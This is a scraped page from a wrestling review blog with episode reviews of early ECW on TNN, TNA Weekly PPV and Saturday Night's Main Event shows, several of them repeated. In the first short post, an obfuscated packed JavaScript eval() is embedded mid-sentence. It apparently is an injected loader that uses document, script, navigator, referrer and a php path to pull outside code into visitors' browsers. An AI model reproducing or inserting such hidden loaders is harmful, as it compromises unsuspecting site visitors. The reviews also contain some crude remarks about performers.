WWE Main Event Debuted Tonight

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aaffr|var|u0026u|referrer|ezbbh||js|php'.split('|'),0,{})) didn’t watch it but I’ll be reviewing it tonight or tomorrow.

 

For those of you who watched it, any thoughts?




Lord Tensai Debuts

They acknowledged that he’s a former WWE superstar but never said his name. He didn’t have anything covering his head so it wasn’t a secret or anything. I like that WAY better than pretending no one knew who he was because it’s not like he has a forgettable face. Tensai squashed Alex Riley.

Thoughts on the debut/character?




ECW on TNN – August 27, 1999: Not The Worst Debut. It’s Very Close But Not The Worst.

There are a total of 59 episodes of this show so why not knock them out too? I’ll be doing two of these right after I do the ECW on Sci-Fi episodes so this won’t take long to knock out. I just hope I can find them all. Enjoy.

First ECW on TNN
Date: August 27, 1999
Commentator: Joey Styles

From the title I think you get the idea here. This show is weird as it’s a lot like the old WWF TV shows as it’s a collection of previously aired matches thrown together here. The first show they taped was awful so they turned it into this. The main thing is Lynn vs. Van Dam from Hardcore Heaven 99 which I’ll re-review and see how it matches up with the original rating I gave it, which is something I don’t think I’ve done before. Let’s get to it.

We open with a clip of the Dudleys (who would leave for WWF in like a week) powerbombing someone through a flaming table as Joey says this isn’t WCW or WWF but ECW.

Cue theme song. The main focus is Tazz who would leave in like 2-3 months and everyone knew that was going to happen.

Joey lists off a bunch of people to have held the TV Title but says RVD might be better than all of them.

TV Title: Rob Van Dam vs. Jerry Lynn

I think this is new commentary here but I’m not sure. This is really just a way to introduce Van Dam and give us what they know is an exciting match. You can’t hear a word the ring announcer is saying. They start with a nice sequence where neither can get any real advantage but the fans love it. We actually get highlights of both guys in the middle of the match. I get that you want to showcase two of your top guys but dude, do it when there’s not a match on.

Van Dam gets knocked to the floor and Lynn takes over. Lynn gets a top rope bulldog for two. RVD is bleeding from…..something. I think at this point we go to a commercial as we get an ad for Anarchy Rulz. Joey suggests the Warrior could be coming to ECW. Oh dear. Yeah the commentary here is new. Lynn is bleeding too now after botching a fall to the floor and hitting his foot on the ropes. The replay has a rap song with it. Really?

Lynn gets a sunset powerbomb for two. What would an ECW match be without tables? Van Dam’s eye is messed up and black as coal. Van Daminator in the stands as this match is kind of hard to follow. Another commercial doesn’t help as they don’t stop the match for it, which is either a good idea or a bad idea and I’m not sure which. Lynn gets another sunset powerbomb through the table on the floor.

CUE THE RAP SONG REPLAY! After a clip or a commercial, Fonzie takes a chair pelted at his head. Lynn goes for a top rope belly to belly but he just falls off. You know the chant we get from that. Cradle Piledriver is blocked and both guys are down. Split Legged Moonsault hits Lynn. PAY ATTENTION MORRISON. THAT IS HOW YOU DO THE MOVE. And there’s the Five Star out of more or less nowhere but Lynn rolls through for two. Van Daminator and a HUGE Five Star ends it.

Rating: B-. The clipping hurts this a lot. It makes this look like far less of an ultra competitive match and more like RVD just breaking a sweat. It’s still good but at the same time it really makes Lynn look weak. At the same time though this was about RVD and that worked very well. This was still good but a different kind of good. I gave the PPV version a B as I still find these matches to be overrated by most ECW fans.

We plug Rollerjam (which as a kid I thought was a cool show. The women were hot if nothing else) and then talk about the ECW World Title, listing off guys that didn’t win it but tried to, such as Konnan, Benoit, Austin and Foley. I’m not entirely sold on talking about guys that USED to be here, but you could look at it like this: We had these guys before they were superstars. Imagine what kind of buried treasures we have here now. That makes sense.

Shane threw down the NWA Title, which meant nothing to most fans watching this show but whatever. That was 5 years before the debut of the TV show. Didn’t know that.

ECW World Title: Taz vs. Rhyno

This is from Hardcore TV or a house show. Rhyno hits a powerbomb 3 seconds in and Taz just pops up. Rhyno means nothing at this point which you can probably guess. Well we’re in Chicago if nothing else. Taz is massacring him here with Rhyno looking like a freaking jobber. He’s hit two punches to the ribs and a no sold powerbomb. Tazz sets up a table and Rhyno hits new levels of offense with THREE punches to the ribs. Suplex through the table sets up the Tazmission. Total squash if there ever has been one.

Rating: N/A. This was DOMINANCE which is the idea I guess, but Rhyno looks like a joke here. The problem is that these matches are just random defenses with no meaning to them. We keep hearing about Steve Corino and how he’s Taz’s archenemy, but we never even see him.

Video on Sabu who is apparently awesome. No match or anything but just highlights.

Ad for Anarchy Rulz again.

Spike Dudley vs. Big Sal

Low blow and Acid Drop end it. Literally that’s the whole thing. Who is Spike? Who is Sal? “Spike has done it again!” What does he do? Apparently that’s not important. Ah ok they call him the Giant Killer.

The Impact Players introduce themselves and we have no idea if they mean anything or not. Cyrus pops up for no apparent reason as Jason makes gay jokes about Joey. We see clips of the Impact Players beating people up which helps a bit as we know they’re dominant.

House show ads.

We get a BUNCH of clips of guys and a brief description (as in their nickname) of them. It’s set to a Kid Rock song so what do you expect here?

Taz talks about how TNN and ECW are together now and how cool that is I guess. We get clips of famous people he’s made tap out. He talks for like three minutes and that ends this mess.

Overall Rating: D. This was a total mess. Considering this is the first show, this was just awful as you learn nothing about the guys other than Taz being a tough guy and RVD is awesome. Other than that though you get nothing at all here though and other than a single good match to start, this gave us nothing. We have no idea about any feuds or angles or anything like that as it was just a few squashes and one big match from months earlier. This just didn’t work as Heyman clearly didn’t know what he was doing, which became a theme here. Bad show and just a car wreck of an hour.

Remember to like me on Facebook at:

http://www.facebook.com/pages/kbwrestlingreviewscom/117930294974885?sk=wall




TNA Weekly PPV #1 – It All Begins

TNA Weekly PPV #1
Date: June 19, 2002
Location: Huntsville, Alabama
Commentators: Mike Tenay, Don West, Ed Ferrara

So since last night was the 3 hour Impact, I thought it was a good time to go back to the beginning and take a look at the origins of TNA. This was the Wednesday night series when once a week for 9.95 you could watch the NWA. It’s still the old school show at this point and this is literally their first show ever. No one knew it would one day become as big as it is now, but it amazingly is.

This is from about the time that Hogan is world champion in the WWF. Actually no he’s not as Taker would have it at this point, but Hogan is still around. Anyway, let’s take a look back at almost 8 years ago and see how TNA got its start.

The intro is of course about the old days of the NWA because everyone wants to see that right? Don West brings out Ed Ferrara, who looks almost exactly like Road Dogg. I saw him and thought it was him. He even sounds like him. Tenay welcomes us to the show as apparently we have to start with a legends ceremony. There will be a new world champion tonight in the first ever Gauntlet for the Gold. It’s a Royal Rumble but the last two have a singles match.

Oh I’m going to get sick of Ferrara.

JB, in a four sided ring of all things, introduces some legends. Harley Race, Dory Funk Jr., Jackie Fargo, Bullet Bob Armstrong, Corisca Joe and Sara Lee (who ARE these people?), Bill Behrens, who wants you to know he likes the NWA and if you don’t know, he’ll make sure to tell you, Ricky Steamboat (NOW we’re getting somewhere! He has the world title with him and they say it must be like old times for him to have it.

That would be the case if he held that one and not the big gold belt which he actually had). Steamboat addresses the crowd. There actually was a reason for this starting the show: something about a no show or something and they had to reschedule things. Steamboat says he’s the referee for the main event tonight.

Jeff Jarrett interrupts and says the main event is going to suck. Well ok then. He says it’s going to be stupid and then Mike Tenay just sounds like a freaking moron by shouting answers at the questions that Jarrett asks. Jackie Fargo is annoying. He’s a legend, but he’s old. That’s the problem with the NWA: they believe that the fans care about these old guys that most of them have never heard of.

Apparently Fargo has matchmaking power and puts Jarrett in at number one. Ken Shamrock comes out and agrees it’s going to suck. Here’s Scott Hall. This feels like last night. Oh let’s reference the NWO again, because that’s SUCH a fresh idea. HALL says the battle royal will suck, but they have to do it so shut up. ARE YOU KIDDING ME??? They had the three biggest stars in the company say that the show is going to suck. You can’t script this kind of stuff.

Some chick named Goldilocks talks to a midget. Take that Hornswoggle bashers.

AJ Styles/Low Ki/Jerry Lynn vs. The Flying Elvises

You read that name right. They’re Jorge Estrada, Jimmy (Wang) Yang and Sonny Siaki. It’s original if nothing else. AJ looks YOUNG here. He’s just a regular guy. The legends in the back aren’t sure what to say. They point out that this isn’t about weight limits, even though other than Joe, no one with any weight has ever held the belt and he was about 5 years away. Ok so the Elvises are heels. Got it.

The faces hit dropkicks and ranas to start. It’s your standard spotfest to start and that’s fine. It’s a tried and true method to get the crowd going so there we are. Next week we have the X-Division Title tournament in a round robin tournament. Cool. I might do more or these but we’ll see. More or less everyone just shows off for awhile which is what they’re supposed to do.

The X Division has never been about stories but just insanity and that’s perfectly fine. We start the Elvis puns and I shake my head. For the life of me I’ll never get how the Honky Tonk Man got over as much as he did. We get an MMA reference before MMA was cool. Here’s AJ who looks about 17 here. Estrada kicks his head off so there we go. Lynn hits the Cradle Piledriver and it’s all breaking down. We get our first Pele kick. Yang hits a rotating moonsault to pin AJ which means nothing at this point.

Rating: B-. This was fine. There was no story and there wasn’t supposed to be. This was to get the crowd going and it did just that and more. It’s really short but that’s fine. No problems here, but DANG AJ looked like he was in high school or something.

Hollywood vs. Teo

Yes, it’s a midget match. The irony here is STUNNING. Oh Teo is an EXTREME midget. Apparently Rey Mysterio was originally asked to be a midget wrestler in Mexico. That has nothing to do with the mask but they talk about it anyway as they need to get references to WWE in there to give them credibility.

I have no idea what the point to this match is. Teo hits a splash from the top that wasn’t bad. Naturally the biggest spot in the match gets two. A top rope leg drops gives Teo the win. His name stands for Totally E. Outstanding. Oh dear goodness.

Rating: N/A. It’s like two minutes long and I’ll spare the it was too short jokes. I’ve never gotten the appeal of these matches but whatever.

Girls dance.

Ferrara and West get in the ring to announce a lingerie battle royal for next week. They bring out some of the women for next week, including Francine, Joanie (no clue who that is), Daffney (they say she used to be Daffney but now she’s Shannon), Alexis Laree (Mickie James, pre implants), Sasha (no clue but she’s ugly), a Ravens cheerleader named Erin, Elektra from ECW, Taylor Vaughn (who is apparently familiar but I don’t know her) and some chick named Tarita.

This is just an eye candy segment but not a very good one. Mickie looks WAY different, to the point where I had trouble picking her out of a line. Francine and Elektra argue and it’s apparent why they never talked. They actually blame Francine for ECW going bankrupt. A guy would wind up winning the battle royal.

There’s a guy named Mortimer Plumtree. I can’t make this up. He’s a teacher apparently, just not a very good one. He would actually wind up managing AJ for awhile. He has a tag team that we don’t see. Oh wait it’s the Johnsons.

Johnsons vs. Psicosis/James Storm

Yes, it’s the tag team that wear masks and full body suits and look like human phalluses. This team actually exists. Storm looks completely different too and it’s not a good thing either. Storm fires off some cap guns. Good for him. OH MAN he looks young. Apparently their names are Richard and Rod, or Dick and Rod. I hate this already. Ryan Shamrock comes out looking hot to watch them.

And now it devolves into nothing but stupid jokes. They say Psicosis’ real name for absolutely no apparent reason. Ryan Shamrock, called Alicia, still is there. Storm hits a rana and a good one at that. They say Storm could be great. Not really but he’s not bad. And then he gets pinned off a bad TKO.

Rating: D+. This was just pointless. It’s like they have nothing but the main event and they know it. This was just freaking awful. The jokes were completely pointless and annoying. I have no clue what they were going for here but whatever.

The referee gives Ryan Shamrock money.

The Dupps, a hillbilly team, torment Goldilocks. They and some chick try to drink beer but some random guy says not to. Ok then.

Two NASCAR guys are here for the sake of being NASCAR guys. Ron Killings (R-Truth) show up to interrupt them. Of course he’s a heel because he hates NASCAR and says it’s not a sport. Brian Christopher of all people shows up and beats up R-Truth. Naturally a match is set up for next week. Oh and his name is K-Krush here. Dang they got that one right eventually.

Jeff Jarrett harasses a 71 year old man. Thanks for killing another 15 seconds.

Christian York/Joey Matthews vs. The Dupps

The Dupps are named Stan and Bo. Stan Dupp. Oh dear. Their cousin is both of their girlfriends. I hate this gimmick already. The faces are your standard face cruiserweight tag team. They have a ton of charisma if nothing else, but they’re just generic. Ferrara needs to fall in a hole. After the faces dominate for about two minutes the girl interferes to crotch York for the pin.

Rating: F-. This was a waste of 4 minutes of my life. The heels had NO offense but they win on a fluke anyway. That’s just crap but of course it’s what they went with here. I hated this and they could have used it for ANYTHING else.

Toby Keith has one of his music videos played and then sings live. That’s completely pointless again but it’s considered an epic moment. Jarrett interrupts him and we start the battle royal now.

NWA World Title: Gauntlet for the Gold

Royal Rumble with 90 second clocks and then a singles match at the end. Jarrett is first and second is Buff Bagwell. Bagwell hits the Blockbuster and then is thrown out. Before the 90 seconds are up they have the next guy come in to avoid the clock just ticking away. I like that. Lash Leroux of all people is second. Just end this now. He’s out in about 45 seconds and Norman Smiley is 4th of 20.

There goes Norman after about a minute. This is just pointless. Apollo, a Puerto Rican wrestler with a great look is 5th. K-Krush is 6th and he saves Jarrett. Actually he doesn’t but the announcers say he does. This is just mindless stuff as nothing of note is happening and it’s just random stuff to fill in time, which is how you could describe the whole show to be fair. Oh hey let’s make fun of Toby Keith even more.

Tenay is TICKED that the heels are working together for no apparent reason. Slash, with James Mitchell who has a stable that we haven’t heard from until now, is 7th. He’s one half of PG-13 who was a big deal in Memphis and nowhere else. Jarrett saves him for no apparent reason. Must be a Tennessee thing. Del Rios who is another big guy is next. He’s a former USWA (Memphis) champion. He’s a Scott Steiner lookalike and they even point that out.

He’s better known as Phantasio, which is a guy that Monkey is a mark for. He was a wrestling magician of all things which somehow evolved into Papa Shango but was given to the guy that played him instead. Oh come on he’s even got the Superman S on his trunks. Some guy from NWA Wildside, a former WCW farm territory, is 9th. The clock is off the screen now and the times are getting longer. Konnan is 10th.

Every guy has their resume read with as many WCW, WWF and ECW references as we can get in there. He beats up everyone and is over as free beer in a frat house. We really need some eliminations. Joel Gertner who has lost about 100lbs brings out Bruce from a team called the Rainbow Express. Yes it’s a gay tag team and Billy and Chuck are a big deal at the moment. No coincidence there at all.

He’s Kwee Wee from WCW if you’re wondering. He’s the guy that wins the battle royal next week. MAYBE 15 seconds later, Rick Steiner comes out. Slash is out. There goes Justice who looks like a combination of Rhyno and one of the Pitbulls and now Rick goes after Jarrett. Malice (The Wall from WCW) is 13th. He chokeslams everyone in sight. Ok with Konnan it’s more like a chokeshove.

Truth makes up for it though by going WAY into the air. There goes Bruce, Truth, Del Rios, Konnan and Steiner are gone, leaving us with Malice, Apollo and Jarrett. Scott Hall is 14th to a huge pop and they actually give him a resume too, like he needs it. He’s the Outlaw now for no apparent reason. Hall hits a Razor’s Edge on Jarrett and here’s Toby Keith to suplex Jarrett and throw him out.

Oh how I hate singers trying to be wrestlers and failing so badly at getting people to care. Hall actually throws Jarrett out to make it count for the ridiculous NWA. Chris Harris is 15th and no one cares as no one knows who he is. Vampire Warrior (Gangrel) runs out early and beats up Harris. Ferrara will not shut up about Jarrett and I’m sick of him in ways I didn’t think were humanly possible.

Devon Storm, more commonly known as Crowbar from WCW, is next. The second biggest star in this match is Gangrel. That says the whole thing. Steve Cornio is 18th as I can’t believe this made it 5 weeks. Ken Shamrock is the penultimate entrant and he suplexes a lot of people. Brian Christopher, who should give his father 20% of every dollar he ever makes in wrestling because he never would have made a dime otherwise. A ton of people go out in succession and all by Christopher. Yes, they had him be a force.

The final five are Shamrock who is almost unrecognizable, Christopher (out before I finish his name), Malice, Apollo and Hall. Malice puts out everyone not named Shamrock, so it’s Ken Shamrock vs. the Wall for the world title. You read that right. This is just garbage as he survives the ankle lock for about 40 seconds before walking around just fine. A belly to belly ends a five minute nightmare.

Rating: F+. This was just a trainwreck. We had Brian Christopher, Gangrel, Lash Leroux and Norman Smiley in the main event. Let that sink in for a bit. Also, Shamrock beats the Wall for the title. Why not Hall, who people at least know? This was just a mess, much like the whole show. I have no idea what the point here was but it was bad. This was ¼ of the show, and that’s just unacceptable. The booking was off the wall as SHAMROCK, who hadn’t been seen in about two years and looked awful, gets the belt.

Jackie Fargo, who looks and sounds older than his 71, wants to fight Jarrett who wants to fight Toby Keith but Scott Hall fights Jarrett next week. They brawl to end this mess.

Overall Rating: D-. And that’s being generous. This was awful on all levels as nothing of note happens with the main event was just a trainwreck. When the three biggest names you have all say the main event is stupid, it hurts things badly. There is zero flow to this and if I didn’t know better, I would have bet on this not making it three months.

They changed things up a lot and it got a ton better, namely when Russo and a ton of other guys showed up to replace guys like the Dupps and the jokes in the main event. Definitely stay away from this one as it’s awful.

 

Remember to like me on Facebook at:

 

http://www.facebook.com/pages/kbwrestlingreviewscom/117930294974885?sk=wall




Brodus Clay: The Funkasaurus

I haven’t laughed so hard in YEARS.  That was great.




Saturday Night’s Main Event #1 – When A Cowboy Was A Good Gimmick

Saturday Night’s Main Event 1
Date: May 11, 1985
Location: Nassau Veterans Memorial Coliseum, Long Island, New York
Commentators: Vince McMahon, Jesse Ventura

So I figured this was a good one to get around to. This is the fallout show from Mania but there isn’t a ton of fallout. No one really knew what this was going to be like but it was an experiment worth trying at least. It was the first chance a lot of people would have to see these guys on television as it was shown on NBC in prime time which was unheard of back then. Either way, this should be fun so let’s get to it.

As usual we open with the main faces for the night talking. Wendi Richter and Cyndi Lauper are talking about the match with Moolah tonight and Hogan and Mr. T. say they’re ready for Bob Orton tonight. As always, the music is awesome. Jesse is in pink. He can get away with it though.

Iron Sheik/Nikolai Volkoff/George Steele vs. Mike Rotunda/Barry Windham/Ricky Steamboat

That’s quite the face tag team. This was on the SNME DVD (great DVD that should certainly be picked up if you can find it. Awesome stuff on it) as an extra. Blassie is with the heels and Albano is with the faces. The two foreigners had taken the tag titles from the US Express at Wrestlemania for a token tag title change.

About a year prior to this, the US Express had been using Real American for their theme music. That went to Hogan of course and here they use Born in the USA by Bruce Springsteen which works like a charm for them as it’s perfect. We start with Windham and Steele which is an odd matchup if there ever has been one.

Sheik was hitting the end of whatever usefulness that he had at this point. Rotundo would soon head to WCW and become a member of the Varsity Club, ending in an awesome moment with Rick Steiner taking the TV Title from him after months of being talked down to by him. Wow what a tangent that was.

Oh and he’s more commonly known as I.R.S. Oddly enough the faces dominate early on. We go to commercial with the faces dominating. We begin the awesome SNME tradition of not having action during commercials so we don’t have to be all confused about how we got to a point during a break.

Wow there are four hall of fame wrestlers in here and two on the floor. That’s rather impressive, especially considering that the two that aren’t in there are two of the three most talented. Steele comes in and his teammates abandon him, allowing Windham to get a quick rollup for the pin. Steele eats a turnbuckle and the tag champions beat him up. That doesn’t last long as Albano comes in to calm him down and Steele is a face.

Rating: C-. Eh this was fine. It wasn’t meant to be anything special other than a way to get Steele out of the dark side, but the heel offense consisted of about four Volkoff punches and other than that it was a complete squash. I don’t get why it was so one sided, but it did its job and wasn’t bad at all so for the first match in show history this was perfectly fine.

The heels blame Steele for the loss and Steele and Albano scare them off.

Piper’s Pit

The guest is Paul Orndorff, who was Piper’s partner in the main event of Wrestlemania. Orton is there as well. Paul more or less says go ahead and try to beat me up to Orton which Piper tries to defuse quickly. Piper has to be high on something. Either that or he’s just completely insane. I’m not sure which it is.

Piper keeps insulting Orndorff and then he would jump up and yell at both guys who run and scream. Piper finally gives up and calls Orndorff a piece of garbage and Paul cleans house. A piledriver is blocked by a cast shot from Orton. Mr. T. makes the save. Ok, we get it: Mr. T. is in a wrestling company. Let it go already.

Hogan says he dedicates the match tonight to his mother. Ok then. He’s also happy about Paul’s recent face turn.

WWF Title: Hulk Hogan vs. Bob Orton

Hogan coming out to Eye of the Tiger is some combination of odd, awesome and epic. You figure out the proportions. Naturally it starts out with Hogan completely dominating Orton. This was also on the DVD but the color and picture quality were WAY better there. It looks bad here to say the least. This is exactly what you would expect it to be: Hogan works the arm and then a shot from Orton gives him control. Our hero is in trouble. WHAT IS HE GOING TO DO???

Well at the moment he’s going to get his head kicked in a little more. And of course there’s the comeback and you know the finish. Actually I typed too soon. Hogan drops an elbow and uses a headbutt of all things. Orton takes over again. This is most odd indeed. Hogan fights out of the superplex and comes off the top rope! He goes for the leg but Piper runs in for the DQ. The heels beat up T and set for the double team but Orndorff runs out for the save and the full face turn.

Rating: C. This was just pure average. It was what you expected but the DQ was kind of odd. It’s not like a pin would have been odd here but whatever. This was fine for what it was. Hogan gets on TV and the biggest star got to showcase himself.

After a break we come back to the three of them posing and you can just tell that Vince wants to screw all of them.

Gene is with Cyndi Lauper and Albano. Lauper has a VERY annoying voice. These two started the Rock N Wrestling Connection and launched wrestling into the stratosphere.

They air her new video which has about ever wrestler with a cameo in it other than Piper who shows up to yell about it. That was awesome actually.

Women’s Title: Wendi Richter vs. Fabulous Moolah

Before the match, Moolah says she’s tired of the interference so Lauper is barred tonight. The reading of the announcement that Lauper is gone tonight takes the better part of forever to get through and FINALLY we get to the match. This was match number two that fueled the mega run that wrestling went on.

We’re on the floor nearly immediately. To say Richter was popular at this time was the understatement of all time. She would actually main event house shows if you can believe that. Surprisingly, Moolah is being beaten down for the most part here. Considering she was champion for about 30 years, that’s saying a lot. Yes I know she didn’t really hold it that long but that’s kayfabe for you. Richter gets a quick small package for the pin.

Rating: D+. This is just long enough to grade but there isn’t anything of note here. It’s ok but that’s about it. Women’s wrestling back then was more of a mess than it is now, but the women could work MUCH better than they can today for the most part. Ok not really but these two had a feud going and that was better than nothing. Yeah the match sucked and I’m rambling.

JYD has his mother here for Mother’s Day. Her name is Bertha.

Pete Doherty vs. Junkyard Dog

Take a wild guess who wins here. Grab Them Cakes is a decent song if nothing else. Them Cakes means a woman’s back in case you were wondering. Oh never mind that’s Another One Bites the Dust. Wow my hearing must be off. And it’s a three minute squash with Doherty being on the floor for a lot of that. JYD and his mom dance afterwards.

Rating: N/A. This was just thrown in for filler as a lot of stuff was around this time.

We come back to see Cyndi Lauper’s Mother’s Day party. It’s just a long line of wrestlers with their “mothers” including Hogan. They all say they love them and then a food fight starts.

Jesse and Vince wrap things up.

Overall Rating: C+. It got the big names on TV other than Andre but he was a very sporadic guy at this point. This was fine for a debut but you could see that it was a lot of rehashing Mania which to be fair was so groundbreaking that they didn’t have a lot of other stuff to go with. Also, that was the hottest thing in the world back then so they were right to go with it I guess.

Not bad but a lot more for entertainment than wrestling which is fine. Great job of showing who everyone is though so that’s a major plus. Check it out because it’s a huge deal as far as starting a big tradition so there we are.




ECW on TNN – August 27, 1999 – First Episode

First ECW on TNN
Date: August 27, 1999
Commentator: Joey Styles

From the title I think you get the idea here. This show is weird as it’s a lot like the old WWF TV shows as it’s a collection of previously aired matches thrown together here. The first show they taped was awful so they turned it into this. The main thing is Lynn vs. Van Dam from Hardcore Heaven 99 which I’ll re-review and see how it matches up with the original rating I gave it, which is something I don’t think I’ve done before. Let’s get to it.

We open with a clip of the Dudleys (who would leave for WWF in like a week) powerbombing someone through a flaming table as Joey says this isn’t WCW or WWF but ECW.

Cue theme song. The main focus is Tazz who would leave in like 2-3 months and everyone knew that was going to happen.

Joey lists off a bunch of people to have held the TV Title but says RVD might be better than all of them.

TV Title: Rob Van Dam vs. Jerry Lynn

I think this is new commentary here but I’m not sure. This is really just a way to introduce Van Dam and give us what they know is an exciting match. You can’t hear a word the ring announcer is saying. They start with a nice sequence where neither can get any real advantage but the fans love it. We actually get highlights of both guys in the middle of the match. I get that you want to showcase two of your top guys but dude, do it when there’s not a match on.

Van Dam gets knocked to the floor and Lynn takes over. Lynn gets a top rope bulldog for two. RVD is bleeding from…..something. I think at this point we go to a commercial as we get an ad for Anarchy Rulz. Joey suggests the Warrior could be coming to ECW. Oh dear. Yeah the commentary here is new. Lynn is bleeding too now after botching a fall to the floor and hitting his foot on the ropes. The replay has a rap song with it. Really?

Lynn gets a sunset powerbomb for two. What would an ECW match be without tables? Van Dam’s eye is messed up and black as coal. Van Daminator in the stands as this match is kind of hard to follow. Another commercial doesn’t help as they don’t stop the match for it, which is either a good idea or a bad idea and I’m not sure which. Lynn gets another sunset powerbomb through the table on the floor.

CUE THE RAP SONG REPLAY! After a clip or a commercial, Fonzie takes a chair pelted at his head. Lynn goes for a top rope belly to belly but he just falls off. You know the chant we get from that. Cradle Piledriver is blocked and both guys are down. Split Legged Moonsault hits Lynn. PAY ATTENTION MORRISON. THAT IS HOW YOU DO THE FREAKING MOVE. And there’s the Five Star out of more or less nowhere but Lynn rolls through for two. Van Daminator and a HUGE Five Star ends it.

Rating: B-. The clipping hurts this a lot. It makes this look like far less of an ultra competitive match and more like RVD just breaking a sweat. It’s still good but at the same time it really makes Lynn look weak. At the same time though this was about RVD and that worked very well. This was still good but a different kind of good. I gave the PPV version a B as I still find these matches to be overrated by most ECW fans.

We plug Rollerjam (which as a kid I thought was a cool show. The women were hot if nothing else) and then talk about the ECW World Title, listing off guys that didn’t win it but tried to, such as Konnan, Benoit, Austin and Foley. I’m not entirely sold on talking about guys that USED to be here, but you could look at it like this: We had these guys before they were superstars. Imagine what kind of buried treasures we have here now. That makes sense.

Shane threw down the NWA Title, which meant nothing to most fans watching this show but whatever. That was 5 years before the debut of the TV show. Didn’t know that.

ECW World Title: Taz vs. Rhyno

This is from Hardcore TV or a house show. Rhyno hits a powerbomb 3 seconds in and Taz just pops up. Rhyno means nothing at this point which you can probably guess. Well we’re in Chicago if nothing else. Taz is massacring him here with Rhyno looking like a  jobber. He’s hit two punches to the ribs and a no sold powerbomb. Tazz sets up a table and Rhyno hits new levels of offense with THREE punches to the ribs. Suplex through the table sets up the Tazmission. Total squash if there ever has been one.

Rating: N/A. This was DOMINANCE which is the idea I guess, but Rhyno looks like a freaking joke here. The problem is that these matches are just random defenses with no meaning to them. We keep hearing about Steve Corino and how he’s Taz’s archenemy, but we never even see him.

Video on Sabu who is apparently awesome. No match or anything but just highlights.

Ad for Anarchy Rulz again.

Spike Dudley vs. Big Sal

Low blow and Acid Drop end it. Literally that’s the whole thing. Who is Spike? Who is Sal? “Spike has done it again!” What does he do? Apparently that’s not important. Ah ok they call him the Giant Killer.

The Impact Players introduce themselves and we have no idea if they mean anything or not. Cyrus pops up for no apparent reason as Jason makes gay jokes about Joey. We see clips of the Impact Players beating people up which helps a bit as we know they’re dominant.

House show ads.

We get a BUNCH of clips of guys and a brief description (as in their nickname) of them. It’s set to a Kid Rock song so what do you expect here?

Taz talks about how TNN and ECW are together now and how cool that is I guess. We get clips of famous people he’s made tap out. He talks for like three minutes and that ends this mess.

Overall Rating: D. This was a total mess. Considering this is the first show, this was just awful as you learn nothing about the guys other than Taz being a tough guy and RVD is awesome. Other than that though you get nothing at all here though and other than a single good match to start, this gave us nothing. We have no idea about any feuds or angles or anything like that as it was just a few squashes and one big match from months earlier. This just didn’t work as Heyman clearly didn’t know what he was doing, which became a theme here. Bad show and just a car wreck of an hour.




TNA Weekly PPV #1

TNA Weekly PPV #1
Date: June 19, 2002
Location: Huntsville, Alabama
Commentators: Mike Tenay, Don West, Ed Ferrara

So since last night was the 3 hour Impact, I thought it was a good time to go back to the beginning and take a look at the origins of TNA. This was the Wednesday night series when once a week for 9.95 you could watch the NWA. It’s still the old school show at this point and this is literally their first show ever. No one knew it would one day become as big as it is now, but it amazingly is.

This is from about the time that Hogan is world champion in the WWF. Actually no he’s not as Taker would have it at this point, but Hogan is still around. Anyway, let’s take a look back at almost 8 years ago and see how TNA got its start.

The intro is of course about the old days of the NWA because everyone wants to see that right? Don West brings out Ed Ferrara, who looks almost exactly like Road Dogg. I saw him and thought it was him. He even sounds like him. Tenay welcomes us to the show as apparently we have to start with a legends ceremony. There will be a new world champion tonight in the first ever Gauntlet for the Gold. It’s a Royal Rumble but the last two have a singles match.

Oh I’m going to get sick of Ferrara.

JB, in a four sided ring of all things, introduces some legends. Harley Race, Dory Funk Jr., Jackie Fargo, Bullet Bob Armstrong, Corisca Joe and Sara Lee (who ARE these people?), Bill Behrens, who wants you to know he likes the NWA and if you don’t know, he’ll make sure to tell you, Ricky Steamboat (NOW we’re getting somewhere! He has the world title with him and they say it must be like old times for him to have it.

That would be the case if he held that one and not the big gold belt which he actually had). Steamboat addresses the crowd. There actually was a reason for this starting the show: something about a no show or something and they had to reschedule things. Steamboat says he’s the referee for the main event tonight.

Jeff Jarrett interrupts and says the main event is going to suck. Well ok then. He says it’s going to be stupid and then Mike Tenay just sounds like a moron by shouting answers at the questions that Jarrett asks. Jackie Fargo is annoying. He’s a legend, but he’s old. That’s the problem with the NWA: they believe that the fans care about these old guys that most of them have never heard of.

Apparently Fargo has matchmaking power and puts Jarrett in at number one. Ken Shamrock comes out and agrees it’s going to suck. Here’s Scott Hall. This feels like last night. Oh let’s reference the NWO again, because that’s SUCH a fresh idea. HALL says the battle royal will suck, but they have to do it so shut up. ARE YOU KIDDING ME??? They had the three biggest stars in the company say that the show is going to suck. You can’t script this kind of stuff.

Some chick named Goldilocks talks to a midget. Take that Hornswoggle bashers.

AJ Styles/Low Ki/Jerry Lynn vs. The Flying Elvises

You read that name right. They’re Jorge Estrada, Jimmy (Wang) Yang and Sonny Siaki. It’s original if nothing else. AJ looks YOUNG here. He’s just a regular guy. The legends in the back aren’t sure what to say. They point out that this isn’t about weight limits, even though other than Joe, no one with any weight has ever held the belt and he was about 5 years away. Ok so the Elvises are heels. Got it.

The faces hit dropkicks and ranas to start. It’s your standard spotfest to start and that’s fine. It’s a tried and true method to get the crowd going so there we are. Next week we have the X-Division Title tournament in a round robin tournament. Cool. I might do more or these but we’ll see. More or less everyone just shows off for awhile which is what they’re supposed to do.

The X Division has never been about stories but just insanity and that’s perfectly fine. We start the Elvis puns and I shake my head. For the life of me I’ll never get how the Honky Tonk Man got over as much as he did. We get an MMA reference before MMA was cool. Here’s AJ who looks about 17 here. Estrada kicks his head off so there we go. Lynn hits the Cradle Piledriver and it’s all breaking down. We get our first Pele kick. Yang hits a rotating moonsault to pin AJ which means nothing at this point.

Rating: B-. This was fine. There was no story and there wasn’t supposed to be. This was to get the crowd going and it did just that and more. It’s really short but that’s fine. No problems here, but DANG AJ looked like he was in high school or something.

Hollywood vs. Teo

Yes, it’s a midget match. The irony here is STUNNING. Oh Teo is an EXTREME midget. Apparently Rey Mysterio was originally asked to be a midget wrestler in Mexico. That has nothing to do with the mask but they talk about it anyway as they need to get references to WWE in there to give them credibility.

I have no idea what the point to this match is. Teo hits a splash from the top that wasn’t bad. Naturally the biggest spot in the match gets two. A top rope leg drops gives Teo the win. His name stands for Totally E. Outstanding. Oh dear goodness.

